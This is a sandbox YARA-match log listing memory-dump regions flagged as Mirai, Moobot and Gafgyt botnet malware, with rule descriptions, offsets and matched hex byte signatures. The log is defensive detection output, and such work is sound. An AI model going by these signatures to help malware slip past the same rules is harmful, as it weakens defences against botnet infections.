6580.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6909.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6909.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6909.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6694.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6372.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6372.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6372.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6372.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6372.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6372.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7305.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7305.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7305.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7305.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7305.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7305.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6909.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6909.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6909.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6665.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7216.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7216.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7216.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7216.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7216.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7216.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6814.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6410.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7190.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7190.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7190.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7190.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7190.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7190.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6327.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6327.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6327.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6327.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6327.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 